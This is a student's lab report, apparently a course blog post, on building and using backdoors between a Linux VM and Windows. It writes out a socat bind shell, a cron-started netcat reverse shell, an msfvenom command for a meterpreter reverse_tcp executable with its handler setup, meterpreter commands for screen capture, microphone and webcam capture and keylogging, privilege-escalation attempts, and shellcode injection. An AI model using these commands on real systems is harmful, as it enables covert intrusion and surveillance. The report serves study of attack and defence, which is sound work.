20171121王朋伟《后门原理与实践》实验报告

一、实验名称

  后门原理与实践

二、实验目的

  使用nc实现win,mac,Linux间的后门连接:meterpreter的应用、MSF POST模块的应用。通过亲手实践并了解建立一个后门连接是如此的简单,功能又如此强大的事实,从而提高自己的安全意识 。

三、实验内容

  (1)使用netcat获取主机操作Shell,cron启动

  (2)使用socat获取主机操作Shell,任务计划启动

  (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

四、基础知识与实验准备

  1.后门:不经过正常认证流程而访问系统的通道。后门要能成功植入靶机并正确运行需要经历五个步骤:

  (1)生成后门程序

  (2)通过社会工程学、心理学等各种手段植入靶机系统中

  (3)通过开机自启动技术、Windows的定时任务、Linux的cron指令等方式将后门运行起来

  (4)通过恶意代码免杀技术防止被靶机的恶意代码检测程序发现

  (5)通过反弹式连接等方式通过靶机或网络上的防火墙

  2.认识nc:netcat是一个底层工具,进行基本的TCP 、UDP数据收发。常被与其他工具结合使用,起到后门的作用。Linux和Mac系统一般自带netcat,使用“man nc”可查看其使用说明。Windows需要下载ncat.rar,解压即可使用。

  3.Metaspolit平台:把后门的基本功能(基本的连接、执行指令)、扩展功能(如搜集用户信息、安装服务等功能)、编码模式、运行平台以及运行参数,全都做成零件或可调整的参数。黑客用的时候通过msfvenom指令按需要组合,即生成一个后门可执行文件,而这个后门程序就是Meterpreter。

五、实验过程记录

(注:本次实验中Linux虚拟机的IP为192.168.217.128,Windows的IP为192.168.43.144,端口使用2020)

  5.1.使用netcat获取主机操作Shell,cron启动

 

  Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。指令中“-e”表示编辑,“-l”表示list,罗列出所有的定时任务。我在这里设置了任何小时的第40分钟执行相对应的command,回连主机的IP为Windows的IP,端口号为2020。

 

  在cron所设置的时间之前用Windows开启监听,“-l”表示listen,“-p”表示port端口,注意ncat.exe的路径要是正确的。

  5.2.使用socat获取主机操作Shell, 任务计划启动

  win10家庭版的任务计划在“控制面板—>系统和安全—>管理工具—>计划任务”。在任务计划程序中创建任务,如下图所示。

 

  参数处填入“tcp-listen:2020 exec:cmd.exe,pty,stderr”,这个命令的作用是把cmd.exe绑定到端口2020,同时把cmd.exe的stderr重定向到stdout上。

  创建任务计划后可以在任务计划程序库中看到新创建的任务处于准备就绪但尚未执行的状态。

 

  到所设置的时间,我使用的是17:40,Windows会自动弹出一个cmd窗口,此时在kali的shell中输入“socat – tcp:192.168.43.144:2020”,即可获取Windows的shell。因为是Linux主动连接Windows,所以按正常情况会Windows系统的防火墙会弹出询问,但是在实验之前,我就关掉了电脑的防火墙和杀毒软件,也通过代码关闭了Linux的防火墙,所以一路连接毫无障碍。

 

  5.3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  在Linux的shell中输入“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.128 LPORT=2020 -f exe > 20171121_backdoor.exe”可生成一个名为“20171121_backdoor.exe”的后门可执行文件。指令中的“-p”指使用的payload。payload翻译为有效载荷,这里windows/meterpreter/reverse_tcp就是一段shellcode。“-f”指生成文件的类型。“>”指输出重定向。LHOST 是反弹回连的IP(因为打算使用Linux监听Windows系统,所以此处应是Linux的IP192.168.217.128),LPORT 是回连的端口2020。

 

  生成完Meterpreter后门后,通过简单的nc连接,将20171121_backdoor.exe传给Windows。

 

  

 

  观察到Windows下20171121_backdoor.exe的大小为73KB,与Linux下生成的文件73802 bytes大小相同,证明传输完毕。

  在Linux终端输入“msfconsole”进入msf控制台,依次输入:

  use exploit/multi/handler

  set payload windows/meterpreter/reverse_tcp(设置payload)

  set LHOST 192.168.217.128(设置回连的IP)

  set LPORT 2020(设置回连端口)

  show options(查看设置的内容)

 

  最后输入“exploit”开始监听,等待Windows执行后门程序。在Windows中双击“20171121_backdoor.exe”,返回Linux终端时即可发现已经获取了Windows的shell。从图中我们可以看到电脑的操作系统是Windows 10(家庭版),64位,这个Meterpreter是32位Windows下的后门等等的资料。

 

  5.4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  输入“screenshot”可对靶机进行截屏,回显图片保存的路径;

  输入“record_mic”可对靶机进行录音,“-d”表示时长,单位是s;

  输入“webcam_snap”可获取靶机的摄像头权限,开启靶机的摄像头拍照,输入“webcam_stream”则可开启摄像头拍摄视频;

  输入“keyscan_start”和“keyscan_dump”可获取靶机的击键记录,前者用以开启击键记录,后者用以读取。

 

 

  以上是我在记事本里输入的字符,击键记录的返回结果是“<Shift>wo shi wang pw<CR>”,甚至还记录下了我按shift进行中英文输入法转换。

 

  在/home/wpw20171121的目录下有实验中一张靶机截屏、两张摄像头拍摄的照片和一段录音。

  最难的就是提权操作,提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。按道理因为Meterpreter的后渗透攻击模块中有提权类型,所以通过Meterpreter来实现提权应该不难,但是我的win10总能给我一次次的惊喜。

  输入“getuid”查看靶机Windows系统上的用户

  第一招:getsystem提权

  getsystem工作原理:

  (1)getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

  (2)getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

  (3)Windows服务已启动,导致与命名管道建立连接。

  (4)该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

  然后用新收集的SYSTEM模拟令牌产生cmd.exe,同时我们有一个SYSTEM特权进程。

 

  如果提权成功,正常再次输入“getuid”将回显“NT AUTHORITY\SYSTEM”,显然,getsystem行不通。

  第二招:bypassuac提权

 

  显然不太行的样子。

  第三招:内核漏洞提权

  可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权

  指令中“run post/windows/gather/enum_patches”表示查看补丁信息。

  第四招:exp提权(溢出提权)

  以windows举例,因为Windows系统中存在一些漏洞,漏洞的种类很多,所以我们有时需要对电脑更新补丁,而我们可以使用漏洞利用工具来辅助提权。看起来好像和第三招差不多。

 

  尝试提权得到Windows系统的回应都是“Windows 10(10.0 Bulid 18362) is not vulnerable”,换成中文就是“win10(家庭版)不是易受攻击的,不是有弱点的”,看来微软在对防止后门提权这方面有长足的研究,看学长学姐的报告,好像win7可以提权,但方法是一样的,可能这就是矛与盾的相互促进的结果吧。

  5.5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

 

  机器指令源码来自“exploit-db shellcode汇总”网站,标题上已告知使用者本shellcode的是作用于32位Linux系统上,功能是获取反弹式连接的shell,回连的IP为127.0.0.1,回连的端口号为4444。

  因为是实践1的pwn1文件,之前也关闭了地址随机化,所以这里直接确定地址返回地址就是0xffffd360,使用RNS结构进行注入。

 

  按本实验第三步进入MSF中监听进程的步骤,即在另外一个shell中输入“msfconsole”,进入msf控制台后依次输入:

  use exploit/multi/handler

  set payload linux/x86/shell_reverse_tcp(设置payload)

  set LHOST 127.0.0.1(设置回连的IP)

  set LPORT 4444(设置回连端口)

  show options(查看设置的内容)

  最后输入“exploit”后回前一个终端按下回车,返回监控终端时发现已经获取靶机的shell,表示注入成功。

 

六、问答题

  (1)例举你能想到的一个后门进入到你系统中的可能方式?

答:1.商家在旗下软件中预留的后门

  2.诱骗点击钓鱼网站或者嵌套在正常网站上,随网页打开自动下载到系统中

  3.盗版软件、盗版游戏中的后门,在不知情的情况下下载到系统中

  4.朋友被盗的号发来的恶意文件

  5.电脑被黑客攻击,强行植入了后门程序

  (2)例举你知道的后门如何启动起来(win及linux)的方式?

答:Windows:设置任务计划,比如开机自启动,或者某些条件触发启动

  Linux      :使用cron定时任务,输入相应的指令,使后门在入侵者想要的时间启动

  或者将后门绑定在某些常用的文件中,用户点开文件的同时启动了后门。

  (3)Meterpreter有哪些给你映像深刻的功能?

答:我对Meterpreter的拷屏、录音和控制摄像头这几个功能印象比较深刻。拷屏可以知道靶机的使用者正在做什么,开启录音和摄像头可以在对方不知情的情况下对其进行监听和监控,那是十分可怕的事情,若是政要的电脑被攻陷,那么相当一部分的国家机密的安全将很难得到保证。

  (4)如何发现自己有系统有没有被安装后门?

答:1.使用杀毒软件扫描;

  2.打开防火墙,在防火墙看开启的端口及对应的进程,一般不是系统默认开启的端口都比较可疑,找到对应进程,对相应进程进行抓包,看该进程的通信数据,分析是不是后门通过反弹式连接等方式绕过防火墙向外传输数据。

七、实验收获与感想

   我曾经在虚拟机上使用过灰鸽子这一后门程序,在很早以前就了解了后门(或者木马)的危害,他们可以通过很多种方式在不知不觉间入侵到靶机上,伪装自己,神不知鬼不觉地窃取很多机密信息和用户隐私,就如本次实验中的Meterpreter后门程序,通过它,入侵者可以获取靶的音频、摄像头、击键记录等内容,还可进行提权等操作,如果后门在关键的服务器中运行,那或许将造成巨大的经济损失和信息泄露。

  通过本次网络对抗技术实验,我第一次尝试自己动手制作后门程序,发现后门的制作并没有我想象中那么复杂,借助Metaspolit的msfvenom指令能在短时间生成一个功能强大的后门可执行文件,但是这样的后门在系统中还是难以存活的,还需要相应的免杀技术来防止它被查杀工具检测出来。本次实验让我受益匪浅,期待免杀的实验能让我对后门有更深的理解和感悟。

posted on 2020-03-19 21:22  20171121王朋伟  阅读(222)  评论(0编辑  收藏